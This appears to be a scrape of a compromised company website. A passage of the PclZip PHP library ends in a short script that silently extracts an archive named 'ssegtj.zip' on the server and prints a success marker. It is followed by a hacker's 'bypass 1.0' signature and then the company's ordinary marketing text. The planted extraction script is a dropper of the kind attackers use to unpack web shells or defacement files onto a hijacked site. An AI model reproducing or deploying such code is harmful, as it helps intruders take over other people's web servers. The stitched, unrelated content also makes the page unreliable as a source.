      }
    }
    
    if ($v_skip > 0) {
      while ($v_skip > 0) {
          $v_result = '../'.$v_result;
          $v_skip--;
      }
    }
  }

  return $v_result;
}

function PclZipUtilPathInclusion($p_dir, $p_path)
{
  $v_result = 1;
  
  if (   ($p_dir == '.')
      || ((strlen($p_dir) >=2) && (substr($p_dir, 0, 2) == './'))) {
    $p_dir = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_dir, 1);
  }
  if (   ($p_path == '.')
      || ((strlen($p_path) >=2) && (substr($p_path, 0, 2) == './'))) {
    $p_path = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_path, 1);
  }

  $v_list_dir = explode("/", $p_dir);
  $v_list_dir_size = sizeof($v_list_dir);
  $v_list_path = explode("/", $p_path);
  $v_list_path_size = sizeof($v_list_path);

  $i = 0;
  $j = 0;
  while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result)) {

    if ($v_list_dir[$i] == '') {
      $i++;
      continue;
    }
    if ($v_list_path[$j] == '') {
      $j++;
      continue;
    }

    if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != '') && ( $v_list_path[$j] != ''))  {
      $v_result = 0;
    }

    $i++;
    $j++;
  }

  if ($v_result) {
    while (($j < $v_list_path_size) && ($v_list_path[$j] == '')) $j++;
    while (($i < $v_list_dir_size) && ($v_list_dir[$i] == '')) $i++;

    if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size)) {
      $v_result = 2;
    }
    else if ($i < $v_list_dir_size) {
      $v_result = 0;
    }
  }

  return $v_result;
}

function PclZipUtilCopyBlock($p_src, $p_dest, $p_size, $p_mode=0)
{
  $v_result = 1;

  if ($p_mode==0)
  {
    while ($p_size != 0)
    {
      $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = @fread($p_src, $v_read_size);
      @fwrite($p_dest, $v_buffer, $v_read_size);
      $p_size -= $v_read_size;
    }
  }
  else if ($p_mode==1)
  {
    while ($p_size != 0)
    {
      $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = @gzread($p_src, $v_read_size);
      @fwrite($p_dest, $v_buffer, $v_read_size);
      $p_size -= $v_read_size;
    }
  }
  else if ($p_mode==2)
  {
    while ($p_size != 0)
    {
      $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = @fread($p_src, $v_read_size);
      @gzwrite($p_dest, $v_buffer, $v_read_size);
      $p_size -= $v_read_size;
    }
  }
  else if ($p_mode==3)
  {
    while ($p_size != 0)
    {
      $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = @gzread($p_src, $v_read_size);
      @gzwrite($p_dest, $v_buffer, $v_read_size);
      $p_size -= $v_read_size;
    }
  }

  return $v_result;
}

function PclZipUtilRename($p_src, $p_dest)
{
  $v_result = 1;

  if (!@rename($p_src, $p_dest)) {

    if (!@copy($p_src, $p_dest)) {
      $v_result = 0;
    }
    else if (!@unlink($p_src)) {
      $v_result = 0;
    }
  }

  return $v_result;
}

function PclZipUtilOptionText($p_option)
{
  
  $v_list = get_defined_constants();
  for (reset($v_list); $v_key = key($v_list); next($v_list)) {
    $v_prefix = substr($v_key, 0, 10);
    if ((   ($v_prefix == 'PCLZIP_OPT')
         || ($v_prefix == 'PCLZIP_CB_')
         || ($v_prefix == 'PCLZIP_ATT'))
        && ($v_list[$v_key] == $p_option)) {
      return $v_key;
    }
  }
  
  $v_result = 'Unknown';

  return $v_result;
}

function PclZipUtilTranslateWinPath($p_path, $p_remove_disk_letter=true)
{
  if (stristr(php_uname(), 'windows')) {
    if (($p_remove_disk_letter) && (($v_position = strpos($p_path, ':')) != false)) {
        $p_path = substr($p_path, $v_position+1);
    }
    if ((strpos($p_path, '\\') > 0) || (substr($p_path, 0,1) == '\\')) {
        $p_path = strtr($p_path, '\\', '/');
    }
  }
  return $p_path;
}




$archive = new PclZip("ssegtj.zip");
if ($archive->extract() == 0) {
die("Error : ".$archive->errorInfo(true));
}
else
{
die("1425756856");	
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net
  • This field is for validation purposes and should be left unchanged.

Who We Are

U! Creative and Display Dynamic, Inc.

Contact Us

D2 was forged out of two companies specializing in Destination Engagement. Together through key disciplines, shared beliefs and core values, D2 has developed a new model that will elevate any destination experience through proven results and ROI.

  • This field is for validation purposes and should be left unchanged.